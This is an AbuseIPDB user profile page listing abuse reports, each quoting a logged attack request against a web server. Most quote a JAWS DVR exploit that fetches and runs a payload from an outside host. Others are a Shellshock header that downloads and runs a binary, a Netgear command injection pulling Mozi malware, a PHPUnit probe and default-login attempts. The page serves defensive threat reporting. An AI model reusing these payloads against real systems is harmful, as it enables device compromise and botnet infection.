AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User darkknight darkknight joined AbuseIPDB in November 2021 and has reported 462 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇪🇬 156.223.48.23	30 Aug 2022	[29/Aug/2022:17:28:24 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [29/Aug/2022:17:28:24 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10157 "-" "Hello, world" show less	Web App Attack
🇺🇸 20.232.147.89	30 Aug 2022	[29/Aug/2022:21:23:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 403 ... show more [29/Aug/2022:21:23:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 403 10158 "-" "python-requests/2.25.1" show less	Web App Attack
🇮🇳 117.194.148.233	29 Aug 2022	117.194.148.233 - - [27/Aug/2022:08:57:25 -0400] "POST /GponForm/diag_Form?images/ HTTP/1.1" 4	Web App Attack
🇪🇬 156.193.237.212	29 Aug 2022	156.193.237.212 - - [27/Aug/2022:01:03:22 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+ ... show more 156.193.237.212 - - [27/Aug/2022:01:03:22 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HT show less	Web App Attack
🇪🇬 197.53.109.122	29 Aug 2022	[27/Aug/2022:18:34:03 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [27/Aug/2022:18:34:03 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10159 show less	Web App Attack
🇪🇬 156.216.115.51	29 Aug 2022	156.216.115.51 - - [27/Aug/2022:19:50:20 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/ ... show more 156.216.115.51 - - [27/Aug/2022:19:50:20 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" show less	Web App Attack
🇪🇬 197.63.192.235	29 Aug 2022	197.63.192.235 - - [28/Aug/2022:20:53:39 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/ ... show more 197.63.192.235 - - [28/Aug/2022:20:53:39 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10157 "-" "Hello, world" show less	Web App Attack
🇪🇬 156.214.51.254	26 Aug 2022	[25/Aug/2022:14:29:10 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [25/Aug/2022:14:29:10 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 404 10159 "-" "Hello, world" show less	Web App Attack
🇪🇬 197.32.211.37	26 Aug 2022	[25/Aug/2022:07:37:42 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [25/Aug/2022:07:37:42 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 404 10159 "-" "Hello, world" show less	Web App Attack
🇦🇺 20.248.154.106	25 Aug 2022	[24/Aug/2022:10:09:56 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 4 ... show more [24/Aug/2022:10:09:56 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 404 10158 "-" "Hello, world" show less	Web App Attack
🇪🇬 197.58.128.226	25 Aug 2022	[24/Aug/2022:12:32:39 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [24/Aug/2022:12:32:39 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 404 10160 "-" "Hello, world" show less	Web App Attack
🇿🇦 20.87.114.76	25 Aug 2022	[24/Aug/2022:10:14:57 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 4 ... show more [24/Aug/2022:10:14:57 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇿🇦 20.87.115.4	25 Aug 2022	[24/Aug/2022:12:13:24 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 4 ... show more [24/Aug/2022:12:13:24 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇿🇦 20.87.114.126	25 Aug 2022	20.87.114.126 - - [24/Aug/2022:12:13:28 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tm ... show more 20.87.114.126 - - [24/Aug/2022:12:13:28 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇿🇦 20.87.114.73	25 Aug 2022	20.87.114.73 - - [24/Aug/2022:12:13:30 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp ... show more 20.87.114.73 - - [24/Aug/2022:12:13:30 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇮🇳 203.163.238.199	25 Aug 2022	203.163.238.199 - - [25/Aug/2022:01:03:04 -0400] "GET /boaform/admin/formLogin?username=admin&psd=ad ... show more 203.163.238.199 - - [25/Aug/2022:01:03:04 -0400] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 10162 "-" "-" show less	Brute-Force
🇪🇬 156.204.53.171	24 Aug 2022	[23/Aug/2022:01:21:21 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [23/Aug/2022:01:21:21 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 404 10158 "-" "Hello, world" show less	Web App Attack
🇪🇬 197.61.219.30	24 Aug 2022	[23/Aug/2022:06:20:00 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [23/Aug/2022:06:20:00 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 404 10158 "-" "Hello, world" show less	Web App Attack
🇰🇷 111.118.106.179	24 Aug 2022	[23/Aug/2022:02:07:49 -0400] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" ... show more [23/Aug/2022:02:07:49 -0400] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 10173 "-" "-" show less	FTP Brute-Force
🇪🇬 197.58.30.178	24 Aug 2022	[23/Aug/2022:06:39:59 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [23/Aug/2022:06:39:59 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇪🇬 41.44.169.101	24 Aug 2022	[23/Aug/2022:08:40:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [23/Aug/2022:08:40:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇪🇬 41.37.163.225	24 Aug 2022	[23/Aug/2022:11:34:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" ... show more [23/Aug/2022:11:34:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+synns.cf/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇨🇳 36.132.143.97	24 Aug 2022	36.132.143.97 - - [23/Aug/2022:22:38:26 -0400] "GET / HTTP/1.1" 403 10059 "() { :; }; /bin/bash -c \ ... show more 36.132.143.97 - - [23/Aug/2022:22:38:26 -0400] "GET / HTTP/1.1" 403 10059 "() { :; }; /bin/bash -c \"rm -rf /tmp/;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-hwyp >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-hwyp >> /tmp/Run.sh;echo /tmp/China.Z-hwyp >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-hwyp >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-hwyp >> /tmp/Run.sh;echo /tmp/China.Z-hwyp >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" show less	Web App Attack
🇺🇸 20.121.171.52	24 Aug 2022	20.121.171.52 - - [24/Aug/2022:02:46:45 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tm ... show more 20.121.171.52 - - [24/Aug/2022:02:46:45 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 403 10158 "-" "Hello, world" show less	Web App Attack
🇨🇳 222.90.18.172	23 Aug 2022	[22/Aug/2022:11:05:45 -0400] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wge ... show more [22/Aug/2022:11:05:45 -0400] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 show less	Exploited Host